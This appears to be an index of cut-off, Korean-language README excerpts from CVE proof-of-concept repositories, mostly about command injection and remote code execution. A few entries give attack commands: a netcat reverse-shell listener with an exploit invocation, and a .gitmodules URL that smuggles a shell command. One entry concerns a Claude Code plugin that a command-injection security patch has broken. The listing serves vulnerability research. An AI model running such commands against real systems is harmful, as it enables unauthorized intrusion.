CVE-2025-32433_PoC

CVE-2025-32433Erlang-OTP 이 스크립트는 Erlang 기반 SSH 서버를 실행하는 시스템에서 치명적인 사전 인증 취약점을 테스트하도록 설계된 커스텀 보안 도구입니다. 이 스크립트는 Erlang 기반 SSH 서버임베디드 시스템, IoT 기기 및 일부 백엔드 서비스에 사용됨를 실행하는 시스템에서 치명적인 사전 인증 취약점을 테스트하도록 설계된 커스텀 보안 도구입니다. 테스트 대상 취약점은 CVE-2025-32433과 유사하며, SSH 핸드셰이크 단계에서 인증되지 않은 원격 명령 실행을 허용합니다. 작동 방식 대상...

cve-2020-7247

cve-2020-7247 익스플로잇 제목: OpenSMTPD 6.6.2 - 원격 코드 실행. 새 날짜: 2020-01-29. 익스플로잇 작성자: 1F98D. 원본 작성자: Qualys Security Advisory. 공급업체 홈페이지: https://www.opensmtpd.org/. 소프트웨어 링크: https://github.com/OpenSMTPD/OpenSMTPD/releases/tag/6.6.1p1. 버전: OpenSMTPD 6.6.2. 테스트 환경: OpenBSD 6.6, OpenBSD 6.5, OpenBSD 6....

CVE-2021-46704-POC

CVE-2021-46704-POC CVE-2021-46704 GenieACS 명령 주입 POC 영향을 받는 genieacs 패키지, 버전 =1.2.0 1.2.8 수정 방법? genieacs를 버전 1.2.8 이상으로 업그레이드하세요. 이 패키지의 영향을 받는 버전은 ping 호스트 인수lib/ui/api.ts 및 lib/ping.ts를 통한 명령 주입에 취약하며, 이는 불충분한 입력 검증과 누락된 인가 확인이 결합되어 발생합니다...

xerial__sqlite-jdbc_CVE-2023-32697_3-41-2-1

SQLite JDBC Driver SQLite JDBC는 Java에서 SQLite 데이터베이스 파일에 접근하고 생성하기 위한 라이브러리입니다. 저희 SQLiteJDBC 라이브러리는 Windows, macOS, Linux 등을 포함한 주요 OS용 네이티브 라이브러리가 단일 JARJava Archive 파일에 통합되어 있으므로 별도 구성이 필요 없습니다. 사용법 ➡️ 더 많은 사용 예제와 구성 방법은 USAGE.md에서 확인할 수 있습니다. SQLite JDBC는 JDBC API를 통해 SQLite 데이터베이스에 접근하기 위한...

CVE-2023-0861-POC

NetModule 라우터의 명령 주입 취약점CVE-2023-0861 분석 및 재현 NetModule은 중요 인프라 및 산업 제어 시스템에서 흔히 사용되는 산업용 등급 라우터의 OEMOriginal Equipment Manufacturer입니다. 2023년 2월 24일, 보안 연구 기업인 ONEKEY는 9개의 NetModule 라우터에 영향을 미치는 취약점을 공개하는 보안 권고를 발표했습니다. 이 취약점은 웹 관리 인터페이스에서 발견되었으며, 인증된 사용자가 상승된 권한으로 임의의 명령을 실행할 수 있게 합니다. IoT 보안과...

CVE-2023-33782

CVE-2023-33782 설명 D-Link DIR-842V2 v1.0.3에서 iperf3 진단 기능에 명령 삽입 취약점이 발견되었습니다. 개념 증명...

ralph

Ralph Claude Code용 Ralph Wiggum 자율 루프 기법의 작동하는 구현입니다. 배경 Anthropic의 플러그인 마켓플레이스에 있는 공식 ralph-wiggum 플러그인은 현재 Claude Code v1.0.202025년 8월의 보안 업데이트로 인해 작동하지 않습니다. 보안 패치CVE-2025-54795는 명령 주입 공격을 방지하기 위해 $ 명령 치환과 여러 줄 bash 명령을 올바르게 차단합니다. 그러나 공식 플러그인의 명령 파일에는 이 보호 기능을 트리거하는 여러 줄 bash가 포함되어 있습니다: Erro...

cve-2022-36804

CVE-2022-36804: Atlassian Bitbucket Server의 사전 인증 RCE Atlassian Bitbucket Server 및 Data Center의 여러 API 엔드포인트에서 심각한 명령 주입 취약점이 발견되었습니다. 이 취약점은 , , , , , , 이전에 출시된 모든 Bitbucket Server 및 Data Center 버전에 영향을 미칩니다. CVE-2022-36804 실습 환경Lab Docker 빌드 docker build -t bitbucket . Docker 실행 docker run -it...

CVE-2021-36260

CVE-2021-36260 CVE-2021-36260 POC, 일부 Hikvision 제품의 웹 서버에서 발생하는 명령 주입 취약점. 입력 검증이 충분하지 않아, 공격자는 악성 명령이 포함된 메시지를 전송하여 명령 주입 공격을 실행할 수 있습니다. Exploit Title: Hikvision Web Server Build 210702 - Command Injection Exploit Author: bashis Vendor Homepage: https://www.hikvision.com/ Version: 1.0 CVE:...

MAL-004

MAL-004: Roundcube Webmail의 CVE-2020-12641 명령 주입 우회 "CVE-2020-12641: Roundcube Webmail에서 "imconvertpath"를 통한 명령 주입" 취약점에 대한 우회가 발견되었으며, 1.4.5, 1.3.12 이전 버전에 영향을 미칩니다. php “escapeshellcmd” 함수는 “CVE-2020-12641: “imconvertpath” 매개변수를 통한 명령 주입”을 방지하기 위해 구현되었지만, 불충분한 삭제sanitization를 수행하므로 이 “필터”는 다음을...

CVE-2019-19356

NETIS 라우터 WF2419 RCE CVE-2019-19356 배경 이 취약점은 NETIS WF2419 라우터의 웹 관리 페이지를 통해 인증된 상태에서 루트 권한으로 원격 코드 실행RCE이 가능한 것입니다. 이 취약점은 펌웨어 버전 V1.2.31805와 마지막으로 제공된 펌웨어 버전 V2.2.36123에서 발견되었습니다. 다른 모델 및 펌웨어도 취약할 수 있습니다. 사전 요구 사항 취약점을 악용하기 위해서는 몇 가지 사전 요구 사항이 필요합니다. 실제로 라우터의 웹 관리 페이지에 접근할 수 있어야 합니다. 또한 인증이 적용된...

CVE-2023-2636

CVE-2023-2636...

CVE-2023-51385_test

CVE-2023-51385 검증 먼저 /.ssh/config에 다음과 같이 추가해야 합니다 主机 .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p .gitmodules파일 구문에는 명령 주입이 존재합니다 url = ssh://echo helloworld cve.txtfoo.example.com/bar 구성 완료 후 아래 명령을 실행하여 트리거합니다 git 克隆 https://github.com/zls1793/CVE-2023-51385test...

CVE-2025-65791

CVE-2025-65791 — ZoneMinder 명령 주입 취약점 개요 ZoneMinder v1.36.34 에는 web/views/image.php 구성 요소의 부적절한 입력 검증으로 인한 심각한 명령 주입 취약점이 존재합니다. 정화되지 않은 사용자 제어 입력이 PHP exec 함수에 직접 전달되어, 원격 공격자가 임의의 시스템 명령을 실행할 수 있습니다. 이 취약점은 CVE-2025-65791 로 지정되었습니다. 영향을 받는 제품 공급업체: ZoneMinder 제품: ZoneMinder 버전: 1.36.34 구성 요소:...

CVE-2023-33869-RCE-PoC

에너지 보안 및 신뢰성 센터 - UNC Charlotte CVE-2023-33869는 Enphase Envoy 펌웨어 버전 D7.0.88에 영향을 미치는 명령 삽입 취약점입니다. 이 취약점은 공격자가 영향을 받는 장치에서 루트 권한으로 임의의 명령을 주입 및 실행할 수 있게 합니다. Enphase Envoy는 주거용 및 상업용 태양광 에너지 시스템에 흔히 배포되는 태양광 마이크로인버터 게이트웨이 장치로서, 이 취약점은 중요 인프라 및 IoT 환경에 특히 우려되는 요소입니다...

CVE-2022-25765

CVE-2022-25765 익스플로잇 CVE-2022-25765, PDFKit-CMD-Injection에 대한 작은 PoC 익스플로잇 사용법 1. 공격 머신에서 netcat 리스너를 시작합니다: nc -lvnp 4444 2. 익스플로잇을 실행합니다: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT 예시: python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444 매개변수: -t,...

CVE-2020-12124

IoT 익스플로잇 해부: Hands-On부터 RCE까지 원본: https://www.klogixsecurity.com/scorpion-labs-blog/anatomy-of-an-iot-exploit-from-hands-on-to-rce David E. Baker 작성, 2023년 6월 1일 게시 서문 본 연구는 2020년 6월 기준 Wavlink Wireless-AC1200 기가비트 라우터의 펌웨어를 대상으로 합니다. 여기서 논의된 취약점은 공급업체에서 패치되었을 수도 있고 그렇지 않을 수도 있지만, 이는 여정 자체가 결론보다...

CVE-2025-55182-Exploit

React2Shell CVE-2025-55182 - 취약한 Docker 실습 환경 취약점이 의도적으로 포함된 Next.js 애플리케이션으로, 안전하지 않은 Child Process 처리를 통해 원격 코드 실행RCE을 보여줍니다. 이 실습 환경은 교육 목적 및 보안 테스트를 위해 설계되었습니다. ⚠️ 경고: 이 애플리케이션을 공개 서버에서 실행하지 마세요. 원격 코드 실행RCE 취약점이 포함되어 있습니다. 시나리오 이 애플리케이션은 간단한 "서버 상태 모니터"입니다. 백엔드는 사용자가 제공한 호스트네임을 받아 ping 명령어를...

Cups-RCE-Exploit

CUPS RCE 익스플로잇 - CVE-2024-47176 체인 개요 2024년 9월에 발견된 CUPSCommon Unix Printing System 원격 코드 실행 취약점 체인을 대상으로 하는 완전히 동작하는 개념 증명 익스플로잇입니다. 이 체인은 CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177 네 가지 CVE로 구성되며, 이들이 결합되어 취약한 버전의 CUPS를 실행 중인 모든 Linux 시스템에서 인증되지 않은 원격 공격자가 임의의 명령을 실행할 수 있게...

CVE-2026-67599_ClearOS_RCE

로그 뷰어 필터 매개변수의 OS 명령 주입 패키지: ClearFoundation 테스트된 버전: ClearOS 7.9.1.342252 취약점 유형: OS 명령 주입 CWE-78 심각도: 높음 CVE : CVE-2026-67599 CVSS v3.1 벡터: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 점수: 7.2 이 CVE-2026-67599를 대신해 할당하고 추적하는 데 도움을 주신 VulnCheck에 감사드립니다. 제품 설명 ClearOS는 CentOS/RHEL 기반으로 구축된 운영 체제로...